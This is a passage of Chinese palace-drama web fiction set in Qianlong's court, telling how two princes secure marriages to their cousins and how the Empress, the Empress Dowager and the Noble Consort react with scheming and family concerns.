因此在他们一家子面临皇后等人的威胁时,永琮第一时间便想到了这位表姐,他感觉这位表姐跟他很相配,做事说话不扭捏,还分外有女子气魄,一看就是他们储秀宫的人—— 永璐听到自己兄长这些形容时,额头青筋暴起,感觉七哥不是想娶人家做媳妇,而是想让人家跟自己当兄弟! 但是他自己的理由也不算多好听,便没有将腹诽道出。 乾隆回想了一下,好像是这样没错。 他记得自己这位外甥女做事手段丝毫不逊于男子,只是于婚事上诸般不顺,二姐为此求了他好几次,只是第三回婚事在他问起朝中臣子时,不出半日,那臣子的子嗣侄子——只要是族中的适龄男儿,总会装病,一病不起的那种,他便打消主意了,他可不好做强迫人的事。 乾隆倒不忌讳外甥女‘克夫’的名声,毕竟他儿子一看就生龙活虎,有天子庇护,怎会出事,就是年纪大了些,但他儿子这么顽皮的性子,有性子沉稳的福晋看着也好。 “你想好了,落子无悔。” “想好了。”永琮点头,毕竟,他还想活多几年,让额娘安安心心过日子,而他的福晋必然要是能接受得了宫里刺激的女子。 而二姑姑的女儿再适合不过了,二姑姑从小养在宫廷,对宫廷之事熟悉之极,必然会教导表姐方方面面宫中事,而且因二姑姑留京抚蒙的缘故,表姐也就是姓博尔济吉特氏,但行事跟满洲贵女别无二致,应该能跟他谈得来。 额娘说了,最怕两口子成亲后合不来,但他觉得表姐应该跟他挺合得来的。 乾隆点头,“朕同意了,永璐,你想娶的表妹是谁?” 总不能又是个公主之女吧,他就两个还活着的姐妹,但他四妹平生就没生下过女儿,哪来的公主之女。 永璐吞了口唾沫,突然觉得紧张极了,“儿子、儿子想娶额娘外甥女魏兰芝。” 就是上回郭罗玛嬷带进宫的兰芝表妹。 他想的不多,就亲上加 亲。 反正六叔娶了汉军旗的范氏为嫡福晋,还是皇阿玛定下的婚事,他又不求他嫡福晋将来出身多高,能跟额娘一家亲就好,而表妹多合适啊。 七哥娶蒙古贵女,他娶汉军旗贵女,一个姓博尔济吉特氏,一个姓魏氏,两个都不适合为后,直接杜绝了他们继承皇位的可能。 而且出于私心,他总觉得自己身上没有流着额娘血脉很是不安,但是他做不到的事,让他子孙后代做到也一样。 乾隆以为自己听错了,“什么?” “儿子是说,想娶额娘外甥女魏兰芝做嫡福晋。”第二回开口,永璐就镇定许多了。 两个儿子同时提出不合时宜的要求,乾隆再故作平和,这会儿也得青筋暴起了,这两个儿子不是给他没事找事吗? “原因是什么?” 乾隆能心平气和跟九儿子说话,永璐得庆幸他有一个好娘亲,能让他亲爹不立马将他丢出去。 永璐想学着自己四哥那一套为情所伤的模样,但是想到七哥刚才学了去,他再学不太合适,而且七哥‘心上人’年纪比七哥大,七哥半大小子心动正常。 但他这表妹年纪比他小,他不满十岁,装出副为情所伤的样子,他敢保证,他说出这个借口的第一时间,他爹能把他丢出乾清宫。 为了不当众丢脸,永璐选择了在皇阿玛面前丢脸。 他眉头一皱,嘴巴一撅,欲哭不哭,啪嗒两滴泪落下来。 乾隆看着九儿子说哭就哭,还怪为惊异地多看了两眼,以前怎么不知永璐有这门本事,还是他小瞧了永璐啊,一瞬间变脸流泪。 川剧变脸都没这么快的。 永琮也是稀奇地看着九弟哭,堂堂男子汉大丈夫居然说哭就哭,本来他是得告诫永璐不要随便流泪的,但是这一幕他也没看过,便跟自己皇阿玛挨在一起看着九弟哭。 “皇阿玛,你看他是不是还抽鼻子了?” “朕看不像,你看看他是不是又流泪了?” “皇阿玛!七哥!”被人这么看笑话,永璐酝酿好的情绪一瞬间崩塌,他都还没哭成,皇阿玛也就算了,但七哥怎么能给他拆台! “好了,朕听你说。”看在九儿子实在哭得伤心的情况下,乾隆相信了他有苦衷,洗耳恭听。 永璐悄悄看了眼七哥。 乾隆宽容地让七儿子退出去。 永璐看了眼在乾清宫伺候的奴才。 乾隆仍旧宽容,让奴才们都退下了。 “好了,能说了吧。” 永璐抽抽噎噎,“皇阿玛,儿子知道了。” “知道什么了?” “儿子知道儿子不是额娘的亲生儿子了,”他哭得怪可怜的,甚至因为屋里只有他和皇阿玛两个人,哭得更起劲了。 “谁跟你说的?” “……儿子猜到的,只是之前一直不敢确定,儿子生辰日跟七哥生辰日那么近!额娘根本就来不及再怀一胎。” 永璐十分委屈地控诉着。 “那你想怎么样。” 永璐不说这事,乾隆早就将他当作自己和紫菀的孩子了,今日被永璐一点醒,他才反应过来,这是柏氏的孩子,看向永璐的眼神愈发复杂。 紫菀当作亲生子养大的孩子,最好别起要不得的心思。 他自始至终都没有让柏氏母凭子贵的想法。 永璐期期艾艾道:“皇阿玛,您就让儿子娶表妹吧,儿子虽然不是额娘的亲生儿子,但儿子的儿子能是额娘的亲孙子啊,还是血浓于水的那种。” 他不信他装得这样可怜,皇阿玛不成全他! 第84章 第84章婚事 可乾隆实在不忍直视,他这个儿子就为了这种小事哭哭啼啼的。 不就是想娶表妹吗,用得着这般丢了魂。 若不是他念着规矩,早就在永璐还小时改了年纪和玉牒,记在紫菀名下,但这种乱了血脉之事,要不得。 不然他能想象皇家玉牒变动这般轻易,改天他的生母或是皇阿玛的生母等等都得在别人口中发生变动,或许现在没人说,但在后世就很难说了。 乾隆一向不愿意给自己留下这种隐患,名声关乎自己一辈子的脸面! 皇家玉牒必然是毋庸置疑的,要是皇家玉牒都信不得,天下人都能质疑爱新觉罗氏的血脉是否纯正了。 “朕给你下旨,跟你七哥一样,落子无悔?” 永璐眼睛微亮,拼命点头,“落子无悔!皇阿玛,给儿子嫡福晋就好,儿子肯定会好好对表妹的。” 早知道皇阿玛这么容易答应,他就不在七哥面前哭了,将他的面子里子都丢光了。 但是如果不哭上一回,也不会让皇阿玛看到他的决心。 宫中事太乱了,他想娶表妹还有个重要原因,就是不想三哥的事发生在自己身上,三哥被皇后等人耍得团团转,嫡福晋出身高不高并不重要,重要的是,嫡福晋是不是自家人,值不值得相信。 这点比出身重要成百上千倍。 “行了,朕答应你们兄弟俩了,退下吧。” 乾隆一大早就被两个儿子吵到现在,脑袋隐隐发痛,也不知道是不是错觉,在永琮出去后,他头疼程度减轻了,他现在巴不得永璐也赶紧溜出去,给他一个清净。 永璐连连点头,“皇阿玛,那儿子退下了,您别忘了儿子和七哥的好事啊。” 说罢,在乾隆气得丢去一沓折子前赶紧溜出乾清宫。 两兄弟对视一眼,满满的是快活惬意,“皇阿玛今天太好说话了。” 永璐连连点头,可不是吗。 他还以为皇阿玛对大哥三哥两个兄弟的嫡侧福晋选的都是满洲旗贵女,到了他这里时,想娶额娘外甥女,怕是不成呢。 “走,七哥带你去撮一顿。” 永琮豪气挥手,他在致美斋定顶了一桌饭菜,就等着他们兄弟俩去吃了。 永璐问道:“咱们偷溜出宫好吗?皇阿玛不会怪我们?” “爷是郡王,你是贝勒,想什么,就算咱俩现在还未娶妻,咱们的府邸也在备着了,出宫天经地义,谁敢拦着。” 永璐想想也是这个道理,便跟自己七哥眨眼功夫便溜到马车上了。 “这两兄弟。”乾隆无奈摇头,发生在乾清宫的事还想瞒过他?这两兄弟相当于当面对他说想溜出宫,还说他今日格外好说话,皇阿玛能是他们随随便便腹诽的? 真不像话。 要不是他老早就有心思给永璐娶魏家女,饶是永璐今天说破天也没用! 还真以为自己能说动他。 也就是他今天心情确实不错,对两个儿子好脾气了点,才让他们产生这么大误解。 乾隆道:“命礼部拟旨吧,今日之事不得传出去。” 他丢不起这个脸,自己两个儿子上赶着要求娶福晋,都是皇子阿哥,身份数一数二的尊贵,瞧他们模样,还以为自己这辈子娶不上福晋了。 “是,万岁爷。”李玉退下。 今日发生在乾清宫的一切让他十分费解,七阿哥和九阿哥给自己求娶的嫡福晋身份怎么跟皇子阿哥们的嫡福晋格格不入,只是他一个奴才不敢多言,便是在心里盘旋一遍令贵妃至今在宫里的动作,从没出过差错。 心中有种预感,大抵是令贵妃故意让两位阿哥这般做的吧,至于 是何种缘故,日后他总会清楚的。 宫里贵人们的算计,不见刀光剑影,难得糊涂啊。 …… 圣旨下达公主府时,和硕淑慎公主惊得头晕目眩,“你说啥,晨珺这孩子定下婚事了,还是七皇子永琮,贵妃长子。” 她乍一听这话心脏不大经受得住刺激。 如今是反复踱步,“合适吗?这两个孩子——我是说晨珺这孩子会不会配七阿哥不大合适。” 她女儿一身力气,还有两次克夫名声,比七阿哥大四岁,整整四岁啊,怎么就成了七阿哥嫡福晋。 七阿哥模样肖极了令贵妃,都是一等一的好看人儿,她总觉得让她女儿配七阿哥,像是牛嚼牡丹,她心里慎得慌啊。 突然有种对不住贵妃娘娘的感觉,她平生从未有过这种心虚感。 关键是上回她偷偷看了七阿哥几眼,那模样俊得她一颗心砰砰直跳,若是再过几年,七阿哥生得越发俊俏,她不敢想象有多少贵女争着抢着想成为七阿哥嫡福晋。 而这个天大的便宜掉在她女儿头上了,她是真的没想到她以姐弟名分求万岁爷,万岁爷左求右求无果,竟然这般讲姐弟情义,将自己儿子推出来了。 万岁爷可真舍得,这么好看的女婿,将来她外孙子外孙女出生后得多好看啊。 出于种种私心,和硕淑慎公主对女儿长长叹了一句,眼神复杂,“你进门后好好对七阿哥,即便七阿哥哪哪不好,他模样好,你以后跟他睡在一张床上,心里也舒坦。” 博尔济吉特晨珺毅然点头,“额娘,你放心,我会好好对七阿哥的,他怎么可能不好,他是哪哪都好的君子啊。” 那样好看且人品贵重,她怎么舍得对七阿哥不好。 她六个兄弟以及阿玛站在一旁,皆是欲言又止。 不是说自家人配不上皇子阿哥,公主所出,怎么就配不上了。 但是怎么说呢,不管是在皇子还是寻常人中,容貌俊俏都是稀缺极了的,七阿哥还身份高贵、生母得宠、兄友弟恭,哪家贵女能求得这样的好男儿啊。 而且,等自家女儿嫁进皇家后,就再也没人敢议论他们家的人克夫了,这都是自家女儿成为七阿哥嫡福晋后获得的好处。 别的不说,光是凭这一点,公主府的主子都能将七阿哥视作恩人对待,更别说他们还真就喜欢长得好看的人。 博尔济吉特晨珺在接旨后心思早就奔向七阿哥身上去了。 上回她在木兰围场看过七阿哥,那模样真真是俊俏,跟贵妃娘娘一样都是极好看的美人,只不过七阿哥还没长开,自然不比贵妃娘娘好看。但是有贵妃娘娘这个当娘的在,七阿哥长开后会是什么模样,她完全能想象了。 她跟前两任未婚夫定下婚事后,没见过那两任未婚夫,但是他们都莫名其妙没了,她也算不上对他们有感情,还觉得身体这般弱,没了就没了吧。 她两桩婚事不成,惹得额娘阿玛难受,她心里不大好受,但也不改变觉得他们没用的想法。 可是对上七皇子——她并非因为七皇子容貌一见倾心,而是上回在木兰围场见了七皇子帮她说话,即便是个比她还小的小少年,她却莫名从七皇子身上感受到了一种被人保护着的安全感。 能养育出七皇子这般温柔善良子嗣的令贵妃性子一定不会差!而令贵妃膝下的九皇子六公主和七公主必然是顶顶好的兄弟姐妹,她能成为这样人品贵重的一家人中的一人,真的真的太好了! 果然上天让她没了两任未婚夫是给她的磨练,她理所当然是储秀宫的人! …… 魏家接到圣旨时是懵的。 且不论他们汉军旗的身份,他们女儿才多大啊,这么快就被赐婚了。 不过未来女婿是贵妃养子,他们惊喜异常,都觉得这是门极好极好的婚事,毕竟女儿家长大后总要嫁人的,以他们的身份,女儿为阿哥嫡福晋就算是祖坟冒青烟了。 再说了,贵妃就是他们魏家女儿,将来难不成还能苛待自家亲外甥女。 一家人亲上加亲,必然是喜上加喜,肥水不流外人田。 魏兰芝知道自己未来夫君是上回帮她推秋千的表哥,她对表哥并不讨厌。 还有贵妃姑姑、公主妹妹。 魏兰芝挺喜欢她们的,还想跟她们再见面,要是她嫁给表哥后能日日跟她们相见,那多好啊。 杨佳氏悄无声息松了口气,比起孙女,她更心疼女儿,毕竟是从她身上掉下来的一块肉,若是她孙女嫁给九阿哥后,能让九阿哥不因养子之事心生嫌隙,那就再好不过了。 而且这门婚事并非苛待孙女,孙女是汉军旗出身,早在几年前,魏氏一族还是包衣旗,能为皇子嫡福晋,她都怀疑是不是女儿在皇上面前给魏家求来的。 大嫂显然也想到这点了,一时半会既心急又担心道:“也不知道娘娘为兰芝求来这门婚事,会不会让万岁爷多想。” 恩宠之事,他们魏家帮不上忙,这些年来娘娘的得宠完全只凭自己,他们唯一能做到的就是努力不拖累娘娘,也尽量凡事不倚仗娘娘脸面,但是到头来,兰芝的婚事还是靠娘娘说情了。 不然一个起初是汉军旗包衣的家族要如何出一位皇子嫡福晋,魏氏并非大姓出身,更不是满洲旗贵女,就兰芝的身份,成为皇子侧福晋或许才是正常的。 多亏了娘娘啊。 第85章 第85章不得动手 被赐婚的当事人对赐婚这事都是缓了好久,极力平复心绪才高高兴兴接受的。 更不用说宫里听到这事的人,无一例外都惊诧极了。 皇后若有所思,“皇上突然给贵妃的两位阿哥赐婚,一个是蒙古贵女,一个是贵妃侄女。” 说起来,两人身份都差了些意思,七阿哥娶的嫡福晋就注定他没法继承皇位,而九阿哥娶的嫡福晋也是这般道理,哪有汉军旗的嫡福晋成为大清皇后的道理。 或者说,贵妃侄女能当上九阿哥嫡福晋,一是凭借九阿哥是贵妃养子的身份,二是凭借贵妃侄女的身份,只要到了贵妃这个地位,即便起初出身再低微,族人勉勉强强也能够着阿哥嫡福晋的身份,不然以魏氏的身世,当个皇子侧福晋算走运了。 两个阿哥可以保证魏氏一族今朝兴旺发达了。 “贵妃是不是察觉什么了?”能让贵妃一下子放弃两个儿子莫须有的‘前途’,皇后只能想到这点,她眸色越发沉沉,看不清眼底情绪,“不对,贵妃必然发现什么了,从前贵妃对两个阿哥的学业、前途再不关心,也不至于提前让皇上赐婚,赐婚之人还是蒙古贵女和贵妃娘家人。” 现在问题是贵妃发现多少了,还是说只是存疑地步,没有证据。 可即便是贵妃没有证据,只是猜测,不可否认,皇后在意识到帝王宠妃有防着她的心思时,刹那间起了杀意。 一个能对帝王造成影响的宠妃,她不能笃定哪天贵妃不会在帝王面前说什么。 “杀或不杀……”皇后如鲠在喉。 她发现,无论她想不想要了贵妃的命,她都没法对贵妃下手。 贵妃的两个儿子都没法争夺皇位了,她要是对贵妃下手,小心贵妃哪天必然来个鱼死网破。 她清楚贵妃只是明哲保身,并非任人欺辱的性子,从这些年贵妃看似不争不抢,但哪回宫斗都没有牵连到贵妃身上便一清二楚,她不能也无法对贵妃下手。 “算贵妃聪明。”皇后深深吐出一口气,她已经没法回头了,在帝王老去之前,她必然要为永璂铺好路,所以,下一个人,得是嘉妃和永珹了。 一个接一个地来,不管帝王发现与否——就算帝王有预感这事离不开宫中高位的算计,但若是始终找不到那人,那有何惧。 “娘娘,往后或许我们可以跟贵妃交好。”冬菊提议,“贵妃两个儿子都不争不抢,贵妃还是万岁爷宠妃,必然能帮到娘娘。” “你以为本宫不知?可本宫更清楚,贵妃能对本宫做出最诚恳的‘投诚’便是让她两个儿子威胁不到永璂,她要让储秀宫不惹后宫事,若是本宫要拉她下水,贵妃得不折手段对本宫下手了。” 能在窥得一丝真相时便毫不犹豫让两个儿子被赐婚,皇后完全能想象出贵妃对自己有多忌惮,有多忌惮就有多经不起试探。 她要是表现出一丝一毫对储秀宫动手的欲望,贵妃立马跟她鱼死网破,这期间容不得一丝商量。 她不怕有宫妃算计她,她最怕的是贵妃这种容不得商量的态度。 这意味着,她接下来的算计不能牵连到贵妃,不然贵妃以为是她动的手 …… 皇后极力将烦躁压下来,从来只有她算计人,哪有贵妃看似示软,实则将她架起来,反过来算计她的道理。 …… 慧妃只觉得事情越发不对劲了。 先是咸福宫走水,陆答应没了,后是陆氏族人被满门抄斩,鄂侧福晋全家流放,连起先被封位的鄂贵人也被贬了,还送去圆明园冷宫,陪怡嫔姐妹俩和索绰络氏了。 这桩桩件件的事情必然跟娴妃小产有关。 陆答应是咸福宫之人,在外人眼中,这人必然跟她这个主位离不开关系。 陆答应、鄂侧福晋、娴妃。 慧妃极力将这三人连成一条线,却因两人的离世,娴妃的闭宫不出毫无头绪,但是陆氏和鄂侧福晋一并害了娴妃的事情板上钉钉,不然皇上不会动那么大怒火。 就在这时,宫里还传来皇上给贵妃的两个阿哥赐婚的消息。 “一个蒙古贵女,一个她亲外甥女,贵妃倒是真不想争了。” 慧妃眼神复杂,直觉告诉她,贵妃这么做一定有她的用意。 但理智又告诉她,贵妃这么做理所当然,永璐并非她亲生子,用母家外甥女将永璐彻底绑在储秀宫这艘船上,合乎道理,而永琮只要无心争那个位置,以嫡福晋为公主之女的身份,这妻族势力不浅,至少比已经成婚的两位阿哥嫡福晋妻族势力强。 不看嫡福晋是蒙古贵女的身份,这妻族身份也比起永琮即将进门的嫡福晋强。 毕竟和硕淑慎公主可是废太子之女,是废太子留在人世间被世人清楚知悉的子嗣,当年支持废太子一脉之人不少,固然现在走的走、老的老,年轻一代早就不记得废太子了,但有这层脸面在,和硕淑慎公主在京城行事也方便许多。 所以贵妃在不争的同时,给自己大儿子担保了一个亲王之位,妻族能帮到永琮,但是又不至于让永琮备受关注。 新帝即位后,必然会看在永琮不争不抢的份上,视为左膀右臂。 别说日后了,就连她现在跟贵妃老死不相往来,但如若有一日,永璇登基,将永琮视作左膀右臂,她是毫无意见的,甚至为此跟贵妃和好如初也无碍。 慧妃心思一动,所以到底是什么让贵妃现在就公然示弱,是她发现了操控娴妃没了子嗣的人是谁吗? 说实话,慧妃心里要是没有一点笃定的话,就枉费她进宫二十来年了。 她有种感觉,在后宫有能力操控一切的人除了皇后,应该不会有第二人了。 可是她宁愿自己猜错了,这般狠厉的手段,让两家族人为此付出血的代价,如果是皇后,她不敢想象现在的皇后变得多可怖了。 贵妃如今恨不得让两个儿子都无一争之力,以贵妃的警惕,她多防着些不要紧。 凡事只怕万一。 “多注意娴妃的动作。”皇后能借刀杀人的对象只能是娴妃了。 …… 储秀宫,“真让他们成事了也好。”魏紫菀心情不错,儿媳妇是公主之女还是外甥女都好,都是自家人,甭管外边人觉得她们的身份有多不妥,可关上房门过自个儿的日子,犯不着让别人指点自己的日子。 “现在就差和恪了,这孩子可真是让本宫担心。” 魏紫菀托起小和恪,“和恪,你说是不是啊,让额娘担心可不好,你得快快长大了。” 小家伙一看到额娘就忍不住笑,“额娘!” 母女俩欢快的笑容没持续多久,兰佩求见。 “娘娘,皇太后想见七公主了。” “……太后娘娘喜欢和恪是和恪的福气。”魏紫菀将小孩递给兰佩。 皇太后想抱养她女儿却对她女儿的命脉毫不关心,她顶多将小孩交给皇太后一两次,五公主可还养在皇太后膝下,若是贪心不足,几次下来,皇上也该有意见了吧。 兰佩悄无声息叹了口气,将七公主交给皇太后后,忍不住多嘴提一句,“太后娘娘,贵妃娘娘应当不会掺和进后宫诸事了。” 贵妃将自己最有优势的两个儿子都断了争储路,太后娘娘想亲近贵妃不会有人多想,即便跟万岁爷提起将七公主留京,万岁爷应该不会觉得不妥。 皇太后沉吟片刻,“贵妃确实看得通透,储秀宫有永琮代为满蒙联姻,或许,哀家也该有所动作了。” 第86章 第86章和恪婚事 “和恪,你说是不是啊。” “皇玛嬷。”小孩含含糊糊凑过来,她是生人勿近,但对熟人很喜欢撒娇的性子,只是小时候看不出来,稍稍长些年纪就明显看出她对喜欢的人的依赖。 “哎哟哟,怎么这么讨喜。”皇太后被逗得眉开眼笑,伸手轻轻抚摸着小孩漂亮的眼睛,和恪下意识想躲开,但想到这是皇玛嬷,便闭上眼睛,等睁开时,眼前出现她最喜欢的小食,她高高兴兴坐下来,一手一个点心,小口小口地咬着。 皇太后笑眼弯弯,“这孩子真讨喜,能吃,模样干净漂亮。” 这小脸小手肉乎乎的,一看便是贵妃仔细养了的,和恪性子天真惹人怜,贵妃宠出这样一个孩子,谁能说贵妃不对孩子上心。 四个孩子,即便是非亲生的孩子也能视作亲生孩子对待,若说待遇,宫里没人分得清贵妃对亲子养子的区别,现在贵妃还不知怎么让帝王同意两个孩子的赐婚了。 一个是蒙古贵女,一个是贵妃侄女。 皇太后对贵妃侄女成为永璐嫡福晋这点没意见,贵妃家世再不起眼,也是大选进宫的妃子,兄弟三人各有各的建树,不说贵妃兄长当了为百姓办事的好官,贵妃小弟也是当了蓝翎侍卫,是有皇帝提携,但若是本身没有能力,如何担得起帝王重视。 这家子各有各的拼劲啊,但又不同于寻常家族往上拼搏是为了给家族争光,让族人身板挺起,这家子从头到尾都是想着让自己过得更好,不惹事。 皇太后对魏氏一族的最大观感便是如此,知道分寸,但也知道自己努力上进的路怎么走。 她要怎么说,她从前对贵妃的怒火如同打在一团极软的棉花上,无劲可出,她甚至觉得从前跟贵妃闹别扭、生气的自己脑子是不是进水了。 贵妃能快快给两个儿子断了今后继承皇位的路,她怎么就想不明白贵妃对所谓的皇位、后位没有半点觊觎之心,魏家人想的都是让自己过得更好,贵妃亦是,自打进宫后,即便有着天赐的容貌,也不曾仗着恩宠肆意行事。 她怎么就用恶意揣测贵妃了。 人对有骨气之人总会有些敬畏,皇太后位高权重,对贵妃当时妄图利用自己,利用自己不成后直接将给她的孩子要回去,这说甩脸就甩脸的做法,当时有多生气,现在回过神后,便有些抓心挠肺。 尽管贵妃现在无视她了,但是贵妃还是将女儿送给她看着了。 皇太后胡思乱想有的没的后,盯着和恪看了许久。 和恪抬头歪着脑袋看了眼今天有些奇奇怪怪的皇玛嬷,又继续低头吃东西了。 额娘说过,有时候大人就是奇奇怪怪的,和恪不用管! “和恪,你喜欢哪家男儿?” 和恪听不懂皇玛嬷的话,但她心里再次肯定了额娘的说法,额娘说得对,有时候大人好奇怪的! 皇太后在发话过后,便一巴掌拍向 自己脑袋,她问一个小孩这种事做什么。 “将和恪送去给裕贵太妃那儿吧,去跟皇帝说一声,就说哀家想见他。” 兰佩喜道:“是,太后娘娘。” 眨眼功夫,和恪便出现在还懒洋洋打着小盹的裕贵太妃面前。 “贵玛嬷!”和恪这孩子机灵,没忘了早些年一直带着自己的贵玛嬷。 裕贵太妃满脸惊喜,“哎呀,是福泽啊,让贵玛嬷抱抱。” 贵玛嬷一见面便叫出了和恪的小名,和恪很高兴,便用自己的方式表达出对贵玛嬷的喜爱,她抱住了贵玛嬷的大腿,“贵玛嬷,福泽喜欢你。” “哎呦哎呦哎呦哎呦!”这可将老太太惊喜得不知所措了,怎么会有这么可爱的孩子。 哎呦,和恪是极其可爱的,和静也是极其可爱的,永琮永璐也是没由来的可爱,贵妃的孩子都是她的心尖宝,“你可得让贵玛嬷好好稀罕你了。” 和恪眨了眨漂亮精神的大眼睛,主动将小脸凑过去。 她知道的,额娘说,长辈这样说她时,就是想亲她漂亮的脸蛋! 裕贵太妃这下笑得眼睛只见缝了。 …… 皇额娘想见他,乾隆这会儿即便是有事忙,也得抽出空来见见皇额娘,为人子,总得让自己母亲喜笑颜开。 只是他一过来便听到自己皇额娘跟自己嘀咕着和恪婚事,他没法不惊诧。 “皇额娘,您在说什么?”和恪这才多小,婚事以后慢慢商量也不差。 皇太后却以为他是在回绝,便来了脾气,“哀家这些年来没别的心愿,就是想小孙女留在身边,皇上你要是不答应,你就当没了哀家这个额娘吧。” 老太太发起脾气来不分来人是谁,是皇帝也一样发脾气,弘历是皇帝还是她儿子呢。 看见儿子反应不过来的模样,老太太想起自己从前不过是多管闲事一次,便被儿子有意无意敲打,这些年自己什么事都没管,和儿子母慈子孝多年,看着是好了,可现在,她心里委屈越甚,便不想理会后宫不得干政这种事了。 后宫不得干政,呵,她要是有这个心思,这些年她母家钮祜禄氏至于还混得不上不下,只是凭借天子母家的身份有了爵位,族中子弟没有一个有能耐的。 怪不得贵妃觉得皇帝靠不上,族人都是凭自己本事立足的。 皇太后心里清楚贵妃一家子都是有骨气的,但也不耽搁她现在就将这些账都加在皇帝面前。 乾隆愣了一下,越发不明白了,“就算皇额娘您想将和恪留在身边,那也得过些年再相看额驸吧,太早给和恪定下婚事,不就跟和静一样了。” 现在他看和静身边的特成额格外不顺眼,决心到了和恪这里时,等和恪长大后再商量婚事。 “你想将和恪留下来?” 这下换皇太后愣住了。 乾隆不大自然道:“朕想着永琮都娶了蒙古贵女,储秀宫也算有人顶上,就没必要让和恪抚蒙了。” 显然皇帝是清楚自己这算法有多离谱的,将和恪抚蒙的份算到永琮头上,这不摆明是将储秀宫看成一体了吗,可他众多子嗣,怎能这样划分,而且皇子和公主的婚事怎能一概而论。 和嘉公主、和静公主注定留京了,和敬公主确定留京抚蒙,唯有五公主和和恪公主婚事尚未定下,两位公主是肯定要抚蒙的。 要是和恪公主也要被帝王私心留下来。 那留京的公主就有三人之多了,这还没算上已经实打实留京的和敬公主,兜兜转转只剩五公主抚蒙,放在康熙朝,那是不多见的,甚至将女儿留京,那都是罕见的两三例。 皇帝是皇权至上、说一不二的皇帝,能让自己喜欢的女人的长女留京,是他最大的私心,可若是两个女儿都留京,私心再重也抵不过对皇权的看重。 可有时皇权离私心也不过是给个台阶下的距离。 有永琮娶蒙古贵女这事,皇帝发现自己可以说服自己了,都是满蒙联姻,兄长顶上,妹妹不去也是可以的吧。 可皇太后只是惊讶一下,也不想儿子是怎么想的了,儿子同意就好,但现在最要紧的还是得将和恪婚事定下来,当心以后皇帝改变主意,或是迫于形势不得不让和恪抚蒙。 还是当娘的了解自己儿子,知道自己儿子这么多年也只生这么个子嗣,以后未必有其他公主出生了。 或者说,就算有别的公主出生,也说不准会不会发生意外,让公主抚蒙之事不成。 就好比慧妃生下龙凤胎,就注定和嘉不会抚蒙。 第87章 第87章知足 “弘历,和恪婚事还是早些定下好。”皇太后就差把不放心三个字摆在面上了。 乾隆轻咳一声,“皇额娘,放心吧,朕心里有数。” 婚事过早定下是不成的,如同他现在也没让和静和特成额婚事定下来,只是明面上让所有人都知道有这么一回事罢了。 谁知道这些未来额驸将来会不会出事,当然,他对和恪未来额驸是谁,心里也有个定数,这次不会像和静这次透个口风了,除了天知地知他知,绝无第二人知晓。 毕竟大清不缺才俊,这个不行还有下一个。 皇太后见实在说不定儿子,便只好叹声。 “罢了,既然你心里有数,哀家信你一言九鼎。”皇太后话锋一转,“既然和恪注定要留京,那便让哀家抚养和恪吧。” 皇太后还惦记着让和恪留在自己身边一事,既然她让和恪留京之事成了,那依据贵妃的心思,她应该是能光明正大将和恪留在身边,享受儿孙之乐。 乾隆却给她泼冷水,“皇额娘,和恪养在贵妃身边,和恪还小,离不得亲生额娘。” 他格外在亲生额娘这点上重音强调,“况且皇额娘您不是抚养吉佳了吗?” 先前五公主只是表面上养在皇太后身边,实际上还是跟娴妃有些接触的,可是经过娴妃孩子没了的事,并且今后娴妃难以有孕,五公主是不可能继续交给娴妃了。 即便五公主也是被人算计,但是她间接害了娴妃孩子却是不争的事实,所以五公主只能交给皇太后抚养。 皇太后捏着眉心,话是这么说没错,但人挑两桶水两头都得分个高低,她确实偏疼和恪,也没法不偏疼和恪。 “吉佳这孩子,皇帝你何时册封。”皇太后难得替自己这个孙女着想,皇上亲生女儿中,就吉佳尚未册封,宫中等出嫁时再册封的公主,就只有宗室养女,哪有皇上亲女跟宗室养女相提并论的说法。 那不糊涂了吗。 “娴妃那事,还得过些时候。”皇帝也不好说,总得过几年再册封五公主,不然娴妃前脚刚掉孩子,五公主就被册封和硕公主了,这不是让娴妃气得半死吗。 “也是。”皇太后也是清楚娴妃孩子没了的全过程,只觉得造化弄人,往后这宫里进的新人,必然要从高门大族里挑选了,毕竟这样养出来的贵女懂分寸—— 也不能完全说懂分寸,而是她们知道一损俱损的道理,不可能堵上全族人的命下手。 …… 白驹过隙只在弹指一挥间。 转眼便到乾隆十八年,魏紫菀进宫也将近十年了。 她现在是最好的年纪,不到三十便是极具风韵的时候,换句话来说,皇帝确实喜欢这般年纪的女人,从他后宫妃子大多是这个年纪频繁生子便能看出了。 皇帝越发频繁过来储秀宫了,但恩宠这事一码归一码,魏紫菀其实没想着这个年纪再要一个孩子,虽说皇帝喜欢这般年纪的女人,可他又不用生孩子。 她已经有了三个孩子,往后再要孩子面临危险的只有她,在医术不发达的古代,三十来岁生孩子就算是高龄产妇了,即便她还没到三十,但是四舍五入,勉强也算了。 她拿自己的生命安全来拼一个莫须有的孩子,若是一尸两命,她四个孩子还未长成,要她怎么办才好。 魏紫菀极其为难,想将帝王推走,但是帝王恩宠不可拒,若是惹怒了帝王,以后恩宠更别想要了,她的孩子还没长成,她的族人还在拼搏,她不能做这种事。 想喝避子汤,这东西有伤身子,加上宫里人都是人精,她一旦给自己捣鼓避孕药,想都不用想这事会立马传到帝王耳边。 她之前是用一些科学的避孕手段,加上她晚上喜欢跟帝王说起她学习进度,有时候谈的晚了,皇帝有心想做那种事都得看看明日早朝还有没有精力。 久而久之,以原身这么容易怀孕的身子,这些年竟奇迹般只有三个孩子。 可随着帝王来的次数频繁,她怎能不担心自己会怀上孩子,原身在乾隆三十一年都还有孕顺利生子。 若是让后宫那么多不曾有孕的妃子知道她的想法,必然唾弃不已。 可现实情况是,她的确不缺子嗣,甚至犯不着为了再求一个阿哥将自己的性命赌上,她心中的天平早就向自己的四个孩子倾斜了。 “关嬷嬷,你说这太妃们都是何时被帝王赐避子汤的?” 魏紫菀听说有些宫妃到了一定年纪,如果有帝王怜惜,不必让其继续受生养之苦,就会赐下避子汤。 关嬷嬷心里微微惊讶,“娘娘是不打算要孩子了吗?” 这话在宫里是极其不可思议的,放眼后宫妃子,哪个宫妃不想要孩子,即便孩子多的,也不在意自己多生几个孩子,唯有这样,自己的地位才会越发稳固。 她以为娘娘这些年没有再怀上子嗣是因有了两子两女,心里并不着急,也不急着邀宠。 结果娘娘已经断了再要子嗣的心思。 “本宫不缺子嗣,四个孩子足够了,这宫里没有人比本宫的孩子更多,本宫要是还不知足,上天会谴责本宫的。” “可娘娘现在还年轻,万岁爷怕是不会如娘娘所愿。”关嬷嬷心里叹道,万岁爷不但不会如娘娘所愿,还会盼着娘娘生下更多子嗣。 毕竟娘娘的孩子一向讨人喜欢,万岁爷对娘娘又那般喜爱,怎么会不盼着跟娘娘再有一个孩子。 